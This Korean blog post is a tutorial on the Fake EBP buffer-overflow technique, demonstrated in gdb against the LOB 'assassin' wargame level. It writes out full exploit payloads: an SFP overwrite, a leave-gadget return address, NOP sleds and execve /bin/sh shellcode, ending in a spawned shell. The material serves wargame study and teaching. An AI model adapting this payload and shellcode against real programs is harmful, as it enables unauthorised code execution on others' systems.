본문 바로가기

High Level Technique/System Hacking

Fake EBP

Fake EBP



개념


변조시킬 Return Address에 \xbf(스택), \x40(라이브러리) 주소를 사용할 수 없을 때, Return Address 이후에 사용할 만한 공간이 없을 때 사용하는 방법.

Save Frame Pointer Overwrite처럼 SFP를 변조하여 메모리의 다른 부분을 프로그램의 일부분 처럼 실행하도록 하는 기법입니다.







설명





위 C 코드는 LOB의 assassin 소스코드 입니다.


strncpy를 이용해서 총 48자리까지 buffer에 값을 넣을 수 있습니다. 48까지라는 것은  buffer의 크기 40 + SFP 4 + RET 4까지 덮어 쓸 수 있다는 이야기입니다.



gdb를 통해서 분석을 해보도록 하겠습니다.


일단은 r `python -c 'print "a"*40 + "AAAA" + "BBBB"'`를 넣어 보도록 하겠습니다.





strncpy를 수행 후 다음 주소에 브레이크 포인트를 걸고 buffer에 쌓인 값을 확인합니다.






ebp-0x28 위치가 buffer의 위치인 것을 알 수 있습니다. 그리고 해당 buffer에 값이 쌓여있는 것을 알 수 있습니다.


그리고 main의 leave에 브레이크 포인트를 걸어 해당 위치에서의 ebp와 esp를 확인합니다.





leave 명령을 실행하게 되면 mov esp, ebp pop ebp를 하게 됩니다.

즉, ebp의 값을 esp에 옮기고 ebp를 pop하게 되죠.




ebp의 값을 esp로 옮기면 값은  0xbffff0c8이 됩니다. 그리고 난 후 pop 명령을 하기 때문에 esp의 값은 +4가 증가한 0xbffff0cc가 되죠.


그리고 ebp의 값이 현재 0x41414141가 된 것을 볼 수 있는데 실행시 SFP를 덮었던 값인 AAAA가 된 것을 알 수 있습니다.


그리고 ret 명령을 실행하게 되면 pop eip jmp eip를 하기 때문에 스택에 쌓여있는 값이 eip로 들어가게 되고, 해당 주소로 이동하게 됩니다.



스택에 쌓여있는 값이 현재 0x42424242이므로 해당 주소로 넘어가게 될 것입니다.




해당 주소로 이동한 것을 알 수 있습니다.


지금까지 과정을 통해 알게 된 것은 ebp는 SFP에 덮인 값으로 된다. ret에 덮인 값으로 이동한다. 정도 입니다.


Fake EBP는 SFP를 조작하고, ret에 leave가 있는 곳을 찍는 방법입니다.



r `python -c 'print "a"*40 + "AAAA"+ "\x68\x85\x04\x08"'`를 입력하고 다시 실행 해 봅니다.





현재 ret 주소까지 온 상태에서의 ebp와 esp입니다. 스택을 확인해 보면 다시 leave로 돌아간다는 것을 알 수 있습니다.

한번 실행해 보죠.





다시 leave로 돌아 왔습니다. 그리고 해당 위치에서의 ebp, esp값과 스택의 상태입니다.


leave로 돌아오기 전에 ret를 수행하면서 pop 명령을 했으므로 다음 스택에 값을 가리키고 있겠죠.


그리고 다시 leave를 수행하므로 ebp의 값을 esp에 옮기게 될 것입니다. 그러면 0x41414141가 esp가 되고 pop이 되므로 esp는 0x41414145가 되겠죠.

하지만 해당 주소는 접근 할 수 없게 됩니다.






이제 어느 정도 감이 오시지 않나요?


다시 leave를 통해서 오면서 esp의 값이 처음 값을 넣어 SFP를 덮었던 값에 +4가 된다는 것을 알 수 있었습니다.


그러면, 쉘코드를 넣고 해당 쉘코드가 존재하는 주소의 -4를 넣으면 다시 leave를 수행하면서 정확한 shellcode의 위치를 가리키게 될 것입니다.



r `python -c 'print "a"*40 + "AAAA" + "\x68\x85\x04\x08" + "\x90"*40 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*40'` 을 이용해 보도록 하겠습니다.





0xbffff2e0가 argv[1]의 위치입니다.


NOP이 시작되는 주소는 0xbffff30a 입니다.



그러면 아래와 같이 페이로드를 작성 할 수 있습니다.





r `python -c 'print "a"*40 + "\x06\xf3\xff\xbf" + "\x68\x85\x04\x08" +  "\x0a\xf3\xff\xbf" + "\x90"*36 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*40'`





0xbffff30a에 0xbffff300이 들어가 있습니다. 이거 왜이런거지??

0a가 아니라 NOP이 있는 부분 아무 곳이나 찍어서 실행시켜 보도록 하죠.


0xbffff310으로 해보겠습니다.



r `python -c 'print "a"*40 + "\x06\xf3\xff\xbf" + "\x68\x85\x04\x08" +  "\x10\xf3\xff\xbf" + "\x90"*36 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*40'`




정확히 0xbffff310이 들어간 것을 확인 할 수 있습니다. 해당 부분은 NOP이므로 쭉 내려가면서 shellcode를 만나서 실행하게 될 것입니다.





쉘이 실행된 것을 알 수 있습니다.




정리


1. SFP에는 가리킬 주소의 -4를 넣는다.

2. return address에는 main함수의 leave 주소를 가리킨다.

3. SFP에 가리킬 주소의 -4에 존재하는 값은 마지막 명령인 ret가 실행되면서 pop이 되므로 해당 위치에는 가리킬 주소를 다시 넣어준다.


'High Level Technique > System Hacking' 카테고리의 다른 글

Return To Library (RTL)  (2) 2016.04.20
Plt 와 Got  (0) 2016.04.20
main의 SFP는 왜 0이 되는가?  (1) 2016.04.19
Save Frame Pointer Overwrite (SFO)  (0) 2016.04.15
Buffer Over Flow (BOF)  (5) 2016.04.15